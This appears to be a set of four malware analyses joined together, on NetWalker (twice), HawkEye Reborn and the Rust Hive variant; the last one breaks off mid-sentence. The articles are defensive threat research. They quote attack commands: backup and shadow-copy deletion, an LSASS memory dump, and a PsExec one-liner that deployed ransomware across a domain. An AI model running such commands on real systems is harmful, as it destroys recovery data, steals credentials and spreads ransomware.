# Ransomware NetWalker: análisis y medidas preventivas Como ya se expuso en otros artículos sobre el ransomware, estos ciberataques han alcanzado el primer puesto en importancia para usuarios y compañías, no tanto por el número de ataques en sí, sino por el gran beneficio económico que se obtiene con esta práctica, causando la aparición de muchos grupos especializados en su desarrollo, así como por el daño reputacional que supone para la víctima. El objetivo de este post es aportar información sobre el ransomware NetWalker, también denominado Mailto o Koko, que se ha utilizado en una reciente campaña de malware distribuida bajo correos electrónicos que simulan aportar información sobre el estado de la actual situación de alerta sanitaria generada por el COVID-19. ## Modelo de negocio RaaS Antes de entrar en detalles técnicos, conviene entender el modelo negocio de los actores responsables de NetWalker. La amenaza comienza a operar en septiembre de 2019, pero no es hasta el 19 de marzo de 2020 cuando el usuario con el alias Bugatti abría la oportunidad a otros cibercriminales de unirse al grupo como parte de un modelo de negocio RaaS (Ransomware as a Service): **[SOCIO] Netwalker Ransomware** Abrimos un conjunto de anuncios para procesar redes y spam. Interesados en personas que trabajen por la calidad, no por la cantidad. Damos preferencia a aquellos que puedan trabajar con grandes redes y tener su propio material. Reclutamos un número limitado de socios y dejamos de reclutar hasta que queden vacantes. Le ofrecemos un ransomware rápido y flexible, un panel de administración en TOR y servicio automático. Acceso al servicio mediante archivos de cifrado desde AV. Para anuncios verificados, entregamos material preparado (IP, cuenta del dominio admin, acceso a NAS, información sobre AV, nombre de la organización, ingresos) para el procesamiento de redes. El ransomware ha estado funcionando desde septiembre de 2019 y ha demostrado ser bueno, no se puede descifrar. Recibirá toda la información detallada sobre el ransomware y las condiciones de trabajo después de compilar la aplicación en el mensaje privado. **Formulario de solicitud:** 1. ¿En qué dirección estás trabajando? 2. Experiencia. ¿Con qué programas de afiliación ya trabajó y cuál fue su beneficio? 3. ¿Cuánto material tiene y cuándo está listo para comenzar, cuánto planea procesar el material? En un artículo del 18 de marzo en el portal BleepingComputer, se preguntaba a los operadores responsables de NetWalker si atacarían hospitales, y ellos respondieron lo siguiente, dejando claro que no son su objetivo: "Hospitals and medical facilities? Do you think someone has a goal to attack hospitals? We don't have that goal - it never was. It coincidence. No one will purposefully hack into the hospital." ## Análisis de archivos asociados La muestra de ransomware NetWalker analizada ha sido distribuida utilizando un dropper desarrollado en Visual Basic Script (VBS), que se incluye como fichero adjunto en la campaña de spam. Es un ransomware de cifrado, es decir, impide el acceso a los datos del usuario cifrando los archivos del dispositivo, aunque se mantiene el acceso al mismo. El 18 de marzo de este año se analizó, por primera vez, el archivo CORONAVIRUS_COVID-19.vbs en la herramienta VirusTotal y, a fecha de 31 de marzo, 32 de los 59 motores antivirus que gestiona VT han clasificado la muestra como maliciosa. Este archivo dropper contiene, a su vez, un binario embebido, ejecutable para sistemas Windows, que tiene varios alias (WTVConverter.exe, qesw.exe y qeSw.exe) y cuyo análisis para VirusTotal puede verse a continuación: La ejecución del ransomware NetWalker se divide en cuatro fases: 1. El código malicioso importa las funciones de las librerías de Windows que usará durante el resto de la ejecución. 2. El fichero de configuración del ransomware, donde se encuentran diversos parámetros relativos al cifrado y rescate, se extrae de los recursos del ejecutable. 3. Inicialización de variables, tales como el identificador del usuario afectado. 4. Procedimiento principal donde se llevaría a cabo el proceso de cifrado de archivos. Antes de proceder al cifrado, se eliminarán las shadow copies ejecutando vssadmin.exe en una ventana oculta, con el objetivo de impedir que se puedan recuperar los ficheros cifrados desde la copia de seguridad generada por el servicio VSS: ``` <SYSTEM32>\vssadmin.exe delete shadows /all /quiet ``` El proceso de cifrado genera un identificador único de 6 caracteres (ID del usuario afectado) que utiliza como extensión para los archivos cifrados y como parte del nombre de las notas de rescate: Nombre original: file93.docx Nombre tras el cifrado: file93.docx.46X19p Nota de rescate generada en la misma ruta "46X19p-readme.txt" ## Instrucciones de rescate Cuando un equipo se ve afectado por el ransomware NetWalker, las instrucciones para descifrar los ficheros se muestran a continuación: En esta nota se pide la instalación de Tor Browser, se facilita el sitio web accesible desde la red TOR, así como el código personal de la víctima de NetWalker, que debe introducir en la siguiente web: Una vez que se ha identificado el usuario, se indica que el precio inicial del rescate comienza en 1.000 dólares, pero que se duplicará esa cantidad de no realizarse el pago antes de una semana. La dirección que se proporciona para el pago es única para cada infección. ## Persistencia Analizando el modus operandi de NetWalker, y dada la naturaleza de su código, no intenta establecer persistencia en el sistema afectado, tampoco realiza propagación lateral, ni se aprecia tráfico de red hacia otras máquinas. Además, el ejecutable responsable del cifrado se autoelimina tras finalizar su ejecución. ## Recuperación La primera y principal recomendación que se realiza en los casos de ransomware es no pagar nunca el rescate solicitado por los ciberdelincuentes, ya que esto no garantiza que respondan una vez se realice el pago, para devolver la normalidad al equipo infectado mediante la entrega de la clave de descifrado. Desafortunadamente, en este momento no se conoce ninguna solución de descifrado de este ransomware, por lo que deben considerarse las siguientes medidas de carácter general: - Aislar el equipo de la red para evitar que el ciberataque se propague a otros dispositivos, teniendo en cuenta discos duros, unidades de red o servicios en la nube que estuvieran conectados. - Clonar de manera completa el disco duro para conservar el dispositivo original y, de esta manera, intentar recuperar los datos sobre el disco clonado. Si no existe solución actualmente, como es en el caso de NetWalker, es posible que se desarrolle en el futuro, por lo que se podrían recuperar los ficheros cifrados. - Desinfectar el disco clonado para intentar recuperar los datos posteriormente, utilizando una herramienta adecuada. - Por último, una vez confirmado que el malware ha sido eliminado del ordenador, se recomienda cambiar todas las contraseñas que se hayan usado en el equipo afectado. ## Medidas preventivas y de protección Dentro de las medidas de prevención a adoptar, es muy importante puntualizar lo siguiente: - No descargar archivos sospechosos o de un remitente desconocido o no habitual. - Realizar backups periódicamente para que se puedan restablecer los sistemas rápidamente, con la menor pérdida de información y el menor impacto en la operativa posibles. - Mejorar la segmentación de la red para evitar una propagación masiva de la amenaza. - Revisar y reforzar, en caso de que sea necesario, las políticas de seguridad de la organización. - Nunca se debe pagar el rescate, se debe comunicar el incidente a través del CSIRT (Computer Security Incident Response Team) de referencia. ## Conclusiones NetWalker es un ransomware relativamente reciente (septiembre 2019) que ha evolucionado en los últimos meses, aunque hasta el momento no hay evidencias de víctimas afectadas o que sufrieran las consecuencias. También cabe destacar que, aunque se ha intentado aprovechar la situación de alarma generada por el COVID-19, los propios creadores del ransomware han manifestado claramente que los hospitales no son el objetivo.
# New HawkEye Reborn Variant Emerges Following Ownership Change **Edmund Brumaghin and Holger Unterbrink authored this blog post.** ## Executive Summary Malware designed to steal sensitive information has been a threat to organizations around the world for a long time. The emergence of the greyware market and the increased commercialization of keyloggers, stealers, and remote access trojans (RATs) has magnified this threat by reducing the barrier to entry for attackers. In many cases, the adversaries leveraging these tools do not need to possess programming skills or in-depth computer science expertise, as they are now being provided as commercial offerings across the cybercriminal underground. We have previously released in-depth analyses of these types of threats and how malicious attackers are leveraging them to attack organizations with Remcos in August and Agent Tesla in October. HawkEye is another example of a malware kit that is actively being marketed across various hacking forums. Over the past several months, Talos observed ongoing malware distribution campaigns attempting to leverage the latest version of the HawkEye keylogger/stealer, HawkEye Reborn v9, against organizations to steal sensitive information and account credentials for use in additional attacks and account compromise. ## History of HawkEye HawkEye is a malware kit that has been around for several years and has seen continuous development and iterations since at least 2013. It is commonly sold on various hacking forums as a keylogger and stealer that can be used to monitor systems and exfiltrate information from those systems. It features robust stealing capabilities as it can be used to obtain sensitive information from a variety of different applications. This information can then be transmitted to the attacker using protocols such as FTP, HTTP, and SMTP. Talos has recently identified several changes concerning HawkEye Reborn in the latest version, HawkEye Reborn v9. In December 2018, a thread on HackForums described a change in the ownership and ongoing development of the HawkEye keylogger. Shortly following this exchange, new posts began to appear that were attempting to market and sell new versions of HawkEye (HawkEye Reborn v9), with these new posts also referencing the change in ownership of the project moving forward. HawkEye Reborn v9 is currently marketed as an "Advance Monitoring Solution." It is currently being sold using a licensing model, with purchasers gaining access to the software and updates for different periods based on a tiered pricing model. HawkEye Reborn v9 also features a Terms of Service agreement that provides some additional insight. While the seller specifies that HawkEye Reborn should only be used on systems with permission, they also explicitly forbid scanning of HawkEye Reborn executables using antivirus software, likely an attempt to minimize the likelihood that anti-malware solutions will detect HawkEye Reborn binaries. Following these changes, the new developer of HawkEye Reborn has continued to make changes and we expect this to continue as long as the developer can monetize their efforts. As with other malware that we wrote about last year, while the developer claims that the software should only be used on systems with permission, or "for educational purposes," malicious attackers have been continuously leveraging it against various targets around the world. ## Distribution Campaigns For several months during the last half of 2018 and continuing into 2019, Cisco Talos has observed ongoing malicious email campaigns that are being used to distribute versions of the HawkEye Reborn keylogger/stealer. The current version, HawkEye Reborn v9 has been modified from earlier versions and heavily obfuscated to make analysis more difficult. The email campaigns that have been observed feature characteristics that are consistent with what is commonly seen with malspam campaigns, with the emails purporting to be associated with various documents such as invoices, bills of materials, order confirmations, and other corporate functions. An example of one of these emails is below: While the current email contains leverage malicious Microsoft Excel files, earlier campaigns have also been observed leveraging RTF and DOC files. Additionally, a small number of campaigns over this same period also made use of various file-sharing platforms like Dropbox for hosting the malicious documents rather than directly attaching them to the messages themselves. Similar to the technique described in our previous blog about Remcos, the contents of the documents have been intentionally made to appear as if they are blurry, with the user being prompted to enable editing to have a clearer view of the contents. Another interesting characteristic of the malicious documents is that the metadata associated with the document files themselves also matches that found in many of the malicious documents that were previously being used to spread Remcos. Assuming the victim opens the attachment, the infection process begins as described in the following section. Many of the distribution servers that are being used to host the HawkEye keylogger binaries that are retrieved during the infection process are hosting large numbers of malicious binaries and, in many cases, contain open directory listings that can be used to identify the scope of the infections that they are being used to facilitate. In many cases, additional stealers, RATs, and other malware were observed being hosted on the same web servers. ## Analysis of HawkEye Reborn The campaign starts with sending the aforementioned Excel sheets that exploit the well-known CVE-2017-11882 vulnerability, an arbitrary code execution bug in Microsoft Office. The exploit works similarly to what we saw with Agent Tesla in October. It leverages a buffer overflow in the Equation Editor, which occurs if someone hands over a font name that's too long. The shellcode starts after the MTEF font tag "08 13 36" in this case. After execution in the Equation Editor (EQNEDT32.EXE) context, it downloads the malicious data from the malware server. After a successful download, it creates and starts the RegAsm.exe process. This RegAsm.exe process is a heavily obfuscated AutoIT script compiled into a PE. After decompiling it from the PE file, it is heavily obfuscated and still almost unreadable. We deobfuscated the script to understand how the infection process works. It first creates the "winrshost" mutex. Then, it extracts the final payload malware from two objects in the PE resource section (capisp1, appsruprov2). It concatenates them and uses AES to decrypt the result, using the hardcoded key "pydbdio…" which is handed over to the DecryptData function. It then calls the StartAndPatchRegAsm function. This function tries to find the original Microsoft RegAsm executable path. It hands over the decrypted buffer extracted from the resource section and the path from the original RegAsm executable to the start_protect_hexcode function. Then it starts the process-hollowing shellcode, which is stored in the HEXCODE1 variable. This shellcode injects the final payload taken from the resource section into the original RegAsm.exe process. The shellcode in HEXCODE1 is very similar to this RunPE example. The AutoIT script is offering a lot of other functions which are not used in this campaign, like anti-virtual machine detection, USB drive infection, and others. The final payload — which we found in the AutoIT PE file resource section and was started by the process-hollowing shellcode — is a .NET PE file that's obfuscated with ConfuserEx. Deobfuscated, we can see it is the HawkEye Keylogger — Reborn v9, Version=9.0.1.6. When HawkEye is executed, it reads the encrypted configuration from the RCDATA resource and then decrypts this data with the Rijndael algorithm to initialize the HawkEye configuration settings. The decrypted configuration shows us the account used for exfiltration. The main loop of HawkEye has the following functions. This shows the rich feature set of HawkEye. The adversaries can get detailed information about the victim's machine. Besides the system information, it steals passwords from common web browsers, Filezilla, Beyluxe Messenger, CoreFTP, and the video game "Minecraft." It also starts a keylogger, steals clipboard content, takes screenshots from the desktop, and pictures from the webcam. Version 9 is still using the well-known MailPassView and WebBrowserPassView freeware tools from Nirsoft to steal web and email passwords. These tools are embedded in the PE file in the form of data which is decoded at runtime and added to the local resources. Then, they are using the process hollowing technique to hide the execution of these tools inside of the original Microsoft vbc.exe (VisualBasic Compiler) process. They are starting an instance of vbc.exe via ProcessCreate, injecting the tool and resume the threat. The stolen passwords are ending up in a temporary file, which is read in and added to the list of data to be exfiltrated. HawkEye offers the following exfiltration options based on the configuration: email, FTP, SFTP, HTTP POST to PanelURL API or ProxyURL. As mentioned above, it also comes with several anti-analysis features, including starting an anti-debugging thread or disabling certain AV-related programs via the Image File Execution Options (IFEO) evasion technique by registering invalid debuggers that redirect and effectively disable various system and security applications. ## Conclusion Recent changes in both the ownership and development efforts of the HawkEye Reborn keylogger/stealer demonstrate that this is a threat that will continue to experience ongoing development and improvement moving forward. HawkEye has been active across the threat landscape for a long time and will likely continue to be leveraged in the future as long as the developer of this kit can monetize their efforts. While the Terms of Service have been written in an attempt to absolve the developer of any wrongdoing, it is actively leveraged by malicious adversaries. Organizations should be aware of this and similar threats and deploy countermeasures such as Multi-Factor Authentication (MFA) solutions to help reduce the impact of credential theft within their environments. Talos continues to monitor this threat as it changes to ensure that customers remain protected from this and other threats as they continue to emerge and evolve. ## Indicators of Compromise The following IOCs are associated with various malware distribution campaigns that were observed during the analysis of HawkEye Reborn v9 activity. ### Attachment Hashes (SHA256) A list of hashes observed to be associated with malicious email attachments can be found here. ### PE32 Hashes (SHA256) A list of hashes observed to be associated with malicious PE32 executables can be found here. ### Domains The following domains have been observed to be associated with malware campaigns: - tfvn.com.vn - shirkeswitch.net - guideofgeorgia.org - gulfclouds.site - jhssourcingltd.com - kamagra4uk.com - pioneerfitting.com - positronicsindia.com - scseguros.pt - spldernet.com - toshioco.com - www.happytohelpyou.in ### IP Addresses The following IP addresses have been observed to be associated with malware campaigns: - 112.213.89.40 - 67.23.254.61 - 62.212.33.98 - 153.92.5.124 - 185.117.22.197 - 23.94.188.246 - 67.23.254.170 - 72.52.150.218 - 148.66.136.62 - 107.180.24.253 - 108.179.246.138 - 18.221.35.214 - 94.46.15.200 - 66.23.237.186 - 72.52.150.218 ### URLs The following URLs have been observed to be associated with malware campaigns: - https://a.pomf.cat/ - http://pomf.cat/upload.php
# NetWalker Ransomware in 1 Hour The threat actor logged in through RDP, attempted to run a Cobalt Strike Beacon, and then dumped memory using ProcDump and Mimikatz. Next, they RDPed into a Domain Controller, minutes before using PsExec to run the NetWalker ransomware payload on all Domain joined systems. The entire intrusion took ~1 hour. ## What is NetWalker? NetWalker, as a ransomware strain, first appeared in August 2019. In its initial version, the ransomware went by the name of Mailto but rebranded to NetWalker towards the end of 2019. The ransomware operates as a closed-access RaaS — a ransomware-as-a-service portal. Other hacker gangs sign up and go through a vetting process, after which they are granted access to a web portal where they can build custom versions of the ransomware. The distribution is left to these second-tier gangs, known as affiliates, and each group deploys it as they see fit. ## Exploitation We saw multiple RDP logins around the time of the attack but we believe 198.181.163[.]103 (possibly IPVanish VPN) to be the source of this intrusion. The threat actor logged in using the DomainName\Administrator account. ## Command & Control c37.ps1 was dropped and run about 16 minutes after initial login. There didn’t appear to be any network connections made while running this script which makes us wonder if the script works or not. The script is heavily obfuscated but still looks like Cobalt Strike. When we uploaded the script to VT, Thor said it may also contain Windshield or SplinterRAT. c37.ps1 has a very low detection rate even after 7+ days. Minutes later they ran c37.exe, which copies itself to a temp directory and then stops. This binary includes Neshta as well as many capabilities as seen below: After further analysis and a comment from @GaborSzappanos, we were able to confirm that both of these are indeed Cobalt Strike and connect to 173.232.146[.]37 over 443. The Cobalt Strike server at 173.232.146.37 is using the default cert (146473198) and oddly enough could not be MiTM. We tried to MiTM this connection multiple times and kept getting an error stating SSL session did not authenticate successfully. We attempted to run c37.ps1 and c37.exe in a few sandboxes and none of them captured the network traffic which tells us that these Beacons include sandbox evasion techniques. The c37.exe binary includes shared code from Neshta, poison, BazarBackdoor, XMRig and a large portion from CobaltStrike according to Intezer. ## Discovery AdFind was dropped alongside a script named adf.bat. We’ve seen this script in the past and wrote about it here. We can see from these lnk files that they opened a few of the txt files output by AdFind. We can also see that domains.txt and ips.log were opened minutes after AdFind being run. ### LECmd – Tool by Eric Zimmerman A few minutes after AdFind was run, a command prompt was opened and the following commands were either copy and pasted slowly or manually typed: - nltest /dclist: - net group "Domain Computers" /DOMAIN - net groups "Enterprise Admins" /domain - net user Administrator Shortly after that, a script named pcr.bat was dropped and executed. This script pings a list of hostnames (domains.txt) and writes the output to ips.log. The ping command they use sends one ping and forces IPv4. This domains.txt file most likely came from the above AdFind command using the domainlist parameter. ## Credential Access Mimikatz was dropped and then a minute later procdump64.exe was dropped. The threat actors then used Procdump to dump lsass using the following command: ``` procdump64.exe -ma lsass.exe lsass.dmp ``` This procdump64 binary appears to be compiled with Delphi and does not match known hashes. It appears the threat actors rolled their own but included the original instructions. Mimikatz was run about a minute later. ## Lateral Movement The threat actor RDPed into a Domain Controller (DC) after dumping credentials. Shortly after accessing the DC they dropped ip.list.txt, P100119.ps1, and PsExec. The threat actor was now ready to execute its objective. ## Objectives The threat actor used PsExec to mount a share on all systems as the Domain Administrator and then execute the ransomware payload using PowerShell. NetWalker was delivered to all online Domain joined systems in the honeypot via the below command: ``` C:\psexec.exe @ip-list.txt -d cmd /c “(net use q: /delete /y & net use q: \\DomainController\DomainName /user:DomainName\administrator ThisWasThePassword & powershell -ExecutionPolicy ByPass -NoLogo -NoProfile -windowstyle hidden -NoExit -File q:\P100119.ps1” ``` After the PowerShell script runs you are left with the following ransom note. The NetWalker operators asked for $50k within 7 days or $100k after. They were talked down to $35k after the time expired. ## Detections - ET POLICY PsExec service created - Suspicious Use of Procdump - Mimikatz Use ### Detects AdFind usage from our case: - **Title:** AdFind Recon - **Description:** Threat Actor using AdFind for reconnaissance. - **Author:** The DFIR Report - **Date:** 2019/8/2 - **Tags:** - attack.remote_system_discovery - attack.T1018 ### Logsource: - **Category:** process_creation - **Product:** windows ### Detection: - **Selection 1:** - CommandLine|contains: - adfind -f objectcategory=computer - **Selection 2:** - CommandLine|contains: - adfind -gcb -sc trustdmp - **Condition:** selection_1 or selection_2 ### False Positives: - Legitimate Administrator using tool for Active Directory querying ### Level: Medium ### Status: Experimental ## IOCs - c37.ps1: 8e030188e0d03654d5e7a7738a9d6a9a - c37.exe: 531c0c5e943863b00c7157c05603113a - adf.bat: 96e1849976d90425e74f075ed6bf8c30 - mimikatz.exe: 5af5e3426926e551ed3acc5bea45eac6 - pcr.bat: 81c965ff526e7afd73c91543fee381a3 - P100119.ps1: 0d890fc8e761b764ba3a04af07197e20 - procdump64.exe: 3b447099ca280dabd22d36f84ebfd3bb ### RDP logins on the day of the intrusion: - 184.58.243.205 - 173.239.199.73 - 176.126.85.39 - 198.181.163.103 - 141.98.81.191 - 93.179.69.154 - 173.232.146.37
# Hive Ransomware Gets Upgrades in Rust Hive ransomware is only about one year old, having been first observed in June 2021, but it has grown into one of the most prevalent ransomware payloads in the ransomware-as-a-service (RaaS) ecosystem. With its latest variant carrying several major upgrades, Hive also proves it’s one of the fastest evolving ransomware families, exemplifying the continuously changing ransomware ecosystem. The upgrades in the latest variant are effectively an overhaul: the most notable changes include a full code migration to another programming language and the use of a more complex encryption method. The impact of these updates is far-reaching, considering that Hive is a RaaS payload that Microsoft has observed in attacks against organizations in the healthcare and software industries by large ransomware affiliates like DEV-0237. Microsoft Threat Intelligence Center (MSTIC) discovered the new variant while analyzing detected Hive ransomware techniques for dropping .key files. We know that Hive drops its encryption keys file, which contains encrypted keys used to decrypt encrypted files, and uses a consistent naming pattern: `[KEY_NAME].key.[VICTIM_IDENTIFIER]` (e.g., BiKtPupMjgyESaene0Ge5d0231uiKq1PFMFUEBNhAYv_.key.ab123). The said .key files were missing the [VICTIM_IDENTIFIER] part of the file name, prompting deeper analysis of the Hive ransomware that dropped them. This analysis led to the discovery of the new Hive variant and its multiple versions, which exhibit slightly different available parameters in the command line and the executed processes. Analyzing these patterns in samples of the new variants, we discovered even more samples, all with a low detection rate and none being correctly identified as Hive. In this blog, we will share our in-depth analysis of the new Hive variant, including its main features and upgrades, with the aim of equipping analysts and defenders with information to better identify and protect organizations against malware attacks relying on Hive. ## Analysis and Key Findings ### The Switch from GoLang to Rust The main difference between the new Hive variant and old ones is the programming language used. The old variants were written in Go (also referred to as GoLang), while the new Hive variant is written in Rust. Hive isn’t the first ransomware written in Rust—BlackCat, another prevalent ransomware, was the first. By switching the underlying code to Rust, Hive benefits from the following advantages that Rust has over other programming languages: - It offers memory, data type, and thread safety - It has deep control over low-level resources - It has a user-friendly syntax - It has several mechanisms for concurrency and parallelism, thus enabling fast and safe file encryption - It has a good variety of cryptographic libraries - It’s relatively more difficult to reverse-engineer ### String Encryption The new Hive variant uses string encryption that can make it more evasive. Strings reside in the .rdata section and are decrypted during runtime by XORing with constants. The constants that are used to decrypt the same string sometimes differ across samples, making them an unreliable basis for detection. For example, let’s look at the section where part of the string “!error no flag -u <login>:<password> provided” is decrypted. In one sample (SHA-256: f4a39820dbff47fa1b68f83f575bc98ed33858b02341c5c0464a49be4e6c76d3), the constants are 0x9F2E3F1F and 0x95C9. In another sample (SHA-256: 6e5d49f604730ef4c05cfe3f64a7790242e71b4ecf1dc5109d32e811acf0b053), the constants are 0x3ECF7CC4 and 0x198F. Some samples do share constants when decrypting the same string. ### Command-Line Parameters In old Hive variants, the username and the password used to access the Hive ransom payment website are embedded in the samples. In the new variant, these credentials must be supplied in the command line under the “-u” parameter, which means that they can’t be obtained by analysts from the sample itself. Like most modern ransomware, Hive introduces command-line parameters, which allow attackers flexibility when running the payload by adding or removing functionality. For example, an attacker can choose to encrypt files on remote shares or local files only or select the minimum file size for encryption. In the new Hive variant, we found the following parameters across different samples: - `-no-local`: Don’t encrypt local files - `-no-mounted`: Don’t encrypt files on mounted network shares - `-no-discovery`: Don’t discover network shares - `-local-only`: Encrypt only local files - `-network-only`: Encrypt only files on network shares - `-explicit-only`: Encrypt specific folder(s). For example, ‘-explicit-only c:\mydocs c:\myphotos’ - `-min-size`: Minimum file size, in bytes, to encrypt. For example, ‘-min-size 102400’ will encrypt files with size equal or greater than 100kb - `-da`: [Usage is being analyzed.] - `-f`: [Usage is being analyzed.] - `-force`: [Usage is being analyzed.] - `-wmi`: [Usage is being analyzed.] Overall, it appears different versions have different parameters that are constantly updated. Unlike in previous variants where there was a ‘help’ menu, in the new variant, the attacker must know the parameters beforehand. Since all strings are encrypted, it makes finding the parameters challenging for security researchers. ### Stopped Services and Processes Like most sophisticated malware, Hive stops services and processes associated with security solutions and other tools that might get in the way of its attack chain. Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services. Hive stops the following services: windefend, msmpsvc, kavsvc, antivirservice, zhudongfungyu, vmm, vmwp, sql, sap, oracle, mepocs, veeam, backup, vss, msexchange, mysql, sophos, pdfservice, backupexec, gxblr, gxvss, gxclmgrs, gxvcd, gxcimgr, gxmmm, gxvsshwprov, gxfwd, sap, qbcfmonitorservice, qbidpservice, acronisagent, veeam, mvarmor, acrsch2svc. It also stops the following processes: dbsnmp, dbeng50, bedbh, excel, encsvc, visios, firefox, isqlplussvc, mspub, mydesktopqos, notepad, ocautoupds, ocomm, ocssd, onenote, outlook, sqbcoreservice, sql, steam, tbirdconfig, thunderbird, winword, wordpad, xfssvccon, vxmon, benetns, bengien, pvlsvr, raw_agent_svc, cagservice, sap, qbidpservice, qbcfmonitorservice, teamviewer_service, teamviewer, tv_w32, tv_x64, cvd, saphostexec, sapstartsrv, avscc, dellsystemdetect, enterpriseclient, veeam, thebat, cvfwd, cvods, vsnapvss, msaccess, vaultsvc, beserver, appinfo, qbdmgrn, avagent, spooler, powerpnt, cvmountd, synctime, oracle, wscsvc, winmgmt, *sql*. ### Launched Processes As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery. There are differences between versions, and some samples may not execute all these processes, but one sample that starts the most processes is SHA-256: 481dc99903aa270d286f559b17194b1a25deca8a64a5ec4f13a066637900221e: - “vssadmin.exe delete shadows /all /quiet” - “wmic.exe shadowcopy delete” - “wbadmin.exe delete systemstatebackup” - “wbadmin.exe delete catalog -quiet” - “bcdedit.exe /set {default} recoveryenabled No” - “bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures” - “wbadmin.exe delete systemstatebackup -keepVersions:3” ### Ransom Note Hive’s ransom note has also changed, with the new version referencing the .key files with their new file name convention and adding a sentence about virtual machines (VMs). The older variants had an embedded username and password (marked as hidden). In the new variant, the username and password are taken from the command line parameter -u and are labeled test_hive_username and test_hive_password. **Old ransom note text:** Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hive[REDACTED].onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hive[REDACTED].onion/ Login: [REDACTED] Password: [REDACTED] To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.abc12 files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result, you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed. **New ransom note text:** Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hive[REDACTED].onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hive[REDACTED].onion/ Login: test_hive_username Password: test_hive_password To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not delete or reinstall VMs. There will be nothing to decrypt. - Do not modify, rename or delete *.key files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result, you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed. ### Encryption The most interesting change in the Hive variant is its cryptography mechanism. The new variant was first uploaded to VirusTotal on February 21, 2022, just a few days after a group of researchers from Kookmin University in South Korea published the paper “A Method for Decrypting Data Infected with Hive Ransomware” on February 17, 2022. After a certain period of development, the new variant first appeared in Microsoft threat data on February 22. The new variant uses a different set of algorithms: Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305 (authenticated encryption with ChaCha20 symmetric cipher). ### A Unique Encryption Approach The new Hive variant uses a unique approach to file encryption. Instead of embedding an encrypted key in each file that it encrypts, it generates two sets of keys in memory, uses them to encrypt files, and then encrypts and writes the sets to the root of the drive it encrypts, both with .key extension. To indicate which keys set was used to encrypt a file, the name of the .key file containing the corresponding encryption keys is added to the name of the encrypted file on disk, followed by an underscore and then a Base64 string (also adding underscore and hyphen to the character set). Once it’s Base64-decoded, the string contains two offsets, with each offset pointing to a different location in the corresponding .key file. This way, the attacker can decrypt the file using these offsets. For example, after running Hive, we got the following files dropped to the C:\ drive: - C:\3bcVwj6j.key - C:\l0Zn68cb.key In this example, a file named myphoto.jpg would be renamed to C:\myphoto.jpg.l0Zn68cb_-B82BhIaGhI8. As we discuss in the following sections, the new variant’s keys set generation is entirely different from old variants. However, its actual file encryption is very similar. ### Keys Set Generation A buffer of size 0xCFFF00 bytes is allocated. Using two custom functions to generate random bytes (labeled “random_num_gen” and “random_num_gen_2” for demonstration purposes) the buffer is filled. The first 0xA00000 bytes of this buffer are filled with random bytes and the remaining 0x2FFF00 bytes are simply copied from the first 0x2FFF00 random bytes that were copied earlier to the buffer. The content of each buffer is a keys set (a collection of symmetric keys). Since two buffers are allocated, there are two keys sets. In the encryption process, the malware randomly selects different keys (byte sequences) for each file from one of the keys set and uses them to encrypt the file by XORing the byte sequence of the keys with the file’s content. A custom 64-byte hash is prepared for each keys set. This hash will be used later. After the hash is computed and several other strings are decrypted, the encryption process takes the following steps: 1. Generate victim_private_key using the same functions introduced above. 2. Generate victim_public_key using ECDH with Curve25519. The input is victim_private_key and the basepoint is 9 followed by 31 zeros (embedded in the sample). 3. Generate a 24-byte nonce for the XChaCha algorithm, later in Poly1305-XChaCha20. 4. Generate shared_secret using ECDH with Curve25519. The input is victim_private_key and hive_public_key. Then, the shared_secret (as a key) with hive_public_key (as a nonce) is used to derive the derived_key using ChaCha20. 5. Encrypt the keys set using Poly1305-XChaCha20. The values used for the encryption are the keys set, derived_key, nonce, and the embedded associated data (AD). This function encrypts the keys set and adds a 16-byte authentication tag at the end of the buffer of the encrypted keys. It’s unclear if the authentication tag is ever checked. Now that the keys set is finally encrypted, the nonce, victim_public_key, the now-encrypted keys set, and the authentication tag are copied to a new buffer, one after another. This buffer (which we label encrypted_structure_1) is treated as a new keys set, which is again encrypted using the same method described above but with a second hive_public_key. This time, the function outputs new nonce, victim_private_key, and others. Only the associated data is the same. Finally, the new buffer, which contains the second_nonce, second_victim_public_key, and the encryptedencrypted_structure_1, is written to the root of the drive it’s encrypting (for example, C:\). The create_extension function generates a Base64 string based on the first six bytes of the custom hash that was created earlier. This Base64 string serves as the file name, and the extension of the file is simply “.key”. The diagram below illustrates the encryption scheme described above: As seen in the diagram above, “Keys sets encryption flow” is executed twice. In the first round, it is executed with the original keys set as an input. In the second round, it is executed with the “encrypted structure 1” as an input. In its second execution, all other input values are different except the AD (associated data) and the Basepoint 9. Hence, the following values are new in the second execution: victim_private_key, victim_public_key, hive_public_key, nonce, shared_secret, and derived_key. ### File Encryption After both keys files are written to the disk, the multi-threaded file encryption starts. Before encrypting each file, the malware checks its name and extension against a list of strings. If there is a match, then the file will not be encrypted. For example, a file with .exe extension will not be encrypted if .exe is in the list of strings. It should be noted that this list is encrypted and decrypted during runtime. The same file encryption method seen in old variants is used in the new one: two random numbers are generated and used as offsets to the keys set. Each offset is four bytes. For the encryption, the file’s content is XORed with bytes from the keys set, according to the offsets. The file bytes are XORed twice—once according to the first offset and a second time according to the second offset. Files are encrypted in blocks of 0x100000 bytes, with the 